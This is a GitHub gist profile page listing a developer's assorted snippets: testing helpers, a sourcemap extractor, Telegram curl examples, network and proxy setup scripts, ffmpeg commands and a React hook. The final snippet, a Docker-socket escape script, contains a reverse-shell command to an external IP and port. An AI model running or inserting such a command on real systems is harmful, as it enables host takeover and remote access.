Skip to content

Instantly share code, notes, and snippets.

View SanariSan's full-sized avatar
😯
1 2 Fizz 4 Buzz

SanariSan

😯
1 2 Fizz 4 Buzz
  • krak.ai
  • Georgia, Tbilisi
View GitHub Profile
@SanariSan
SanariSan / make_writable.js
Created May 4, 2024 00:10 — forked from moehlone/make_writable.js
Make JavaScript readonly propertys writable (example for overwriting navigator.userAgent; useful for unit tests -> browser detection)
/**
* Creates a read/writable property which returns a function set for write/set (assignment)
* and read/get access on a variable
*
* @param {Any} value initial value of the property
*/
function createProperty(value) {
var _value = value;
/**
@SanariSan
SanariSan / extract-js-source.js
Last active April 20, 2024 12:31
Extract source from JS sourcemap
/**
* If you have a website source bundled with webpack and are lucky to have a sourcemap nearby,
* then you are able to fully reconstruct original code + folders structure.
* Place this file at the root of project.
* Provide the path to sourcemap + the path to where you'd like to extract original codebase.
*/
const fs = require('fs');
const path = require('path');
const sourceMap = require('source-map');
@SanariSan
SanariSan / readme.md
Last active April 13, 2024 07:15
Telegram HTTP bot API via CURL | Send text, photos, documents, etc.

Here are some examples on how to use Telegram bot api via CURL

Prerequisites

For getting messages in private chat with bot

  • Create a bot using @BotFather, get it's token
  • Start conversation with bot
  • Run following curl command
curl https://api.telegram.org/bot/getUpdates | grep -Po '"from":{"id":.+?,'
@SanariSan
SanariSan / rtt.sh
Last active April 10, 2024 19:28
RTT for all hostname ips
#!/bin/bash
# Useful for checking rtt to any sotname of interest.
# Since servers usually have balancers or dns balancing is in place it is helpful to test every ip.
IPS=$(host $1 | grep "has address" | awk '{ print $4 }')
REQ_AMOUNT=${2:-5}
# Loop through each IP address
for IP in $IPS; do
@SanariSan
SanariSan / Shadowsocks-client.sh
Last active March 28, 2024 13:55
Shadowsocks+V2Ray | client+server (autodeploy) setup (bash)
############
# HOW TO CONNECT FROM LINUX?
# HERE IS THE SCRIPT TO SETUP YOUR PC
############
#
sudo apt install -y shadowsocks-libev wget
sudo wget -O- "https://github.com/shadowsocks/v2ray-plugin/releases/download/v1.3.1/v2ray-plugin-linux-amd64-v1.3.1.tar.gz" | tar -zxv
@SanariSan
SanariSan / ntp_hints_ru.txt
Last active February 9, 2024 05:01
ntp hints (ru)
Leap: normal - корректировка мирового времени между электромагнитыми атомическими часами и определяемыми по планетам, не важно
Version: 4 - версия ntp протокола, последняя 4, не важно
Stratum: 1 - номер сервера в иерархии серверов синхронизации, 0 = атомические часы, 1 = сервер подключенный к ним локально, 2 = сервер подключенный по сети (уже плохо), играет роль, 1 - хорошо
Reference: PPS - указывает ориджин времени, PPS = Generic pulse-per-second, атомические часы на пульсации электронов, не важно)
Precision: 4us (-18) - сколько требуется микросекунд для доступа к системному времени
@SanariSan
SanariSan / readme.md
Last active January 3, 2024 23:03
ffmpeg cut video, subtitles, convert format

Cut video (possibly directly to mp4)

ffmpeg -ss 00:01:00 -to 00:02:00 -i ./in.mkv -c copy out.mkv

Cut external subs

ffmpeg -i in.srt -ss 01:00 -to 02:00 out.srt
@SanariSan
SanariSan / a.md
Created December 24, 2023 08:21
React persist state
import React from 'react';

/**
 * @param {string} storageKey
 * @param {*} initialState
 * @param {number} expiration
 */
export const useStateWithLocalStorage = (storageKey, initialState, expiration) => {
  const [value, setValue] = React.useState(() => {
@SanariSan
SanariSan / r.md
Created December 20, 2023 17:24
Ubuntu Lenovo conservation mode on/off
#Check if Ideapad_laptop kernel module is loaded
lsmod | grep ideapad_laptop

# 1 on, 0 off
cat /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode

echo 1 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 0 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
@SanariSan
SanariSan / exploit-docker-sock.sh
Created November 6, 2023 05:44 — forked from PwnPeter/exploit-docker-sock.sh
Exploit docker.sock to mount root filesystem in a container
#!/bin/bash
# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest
# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell
cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"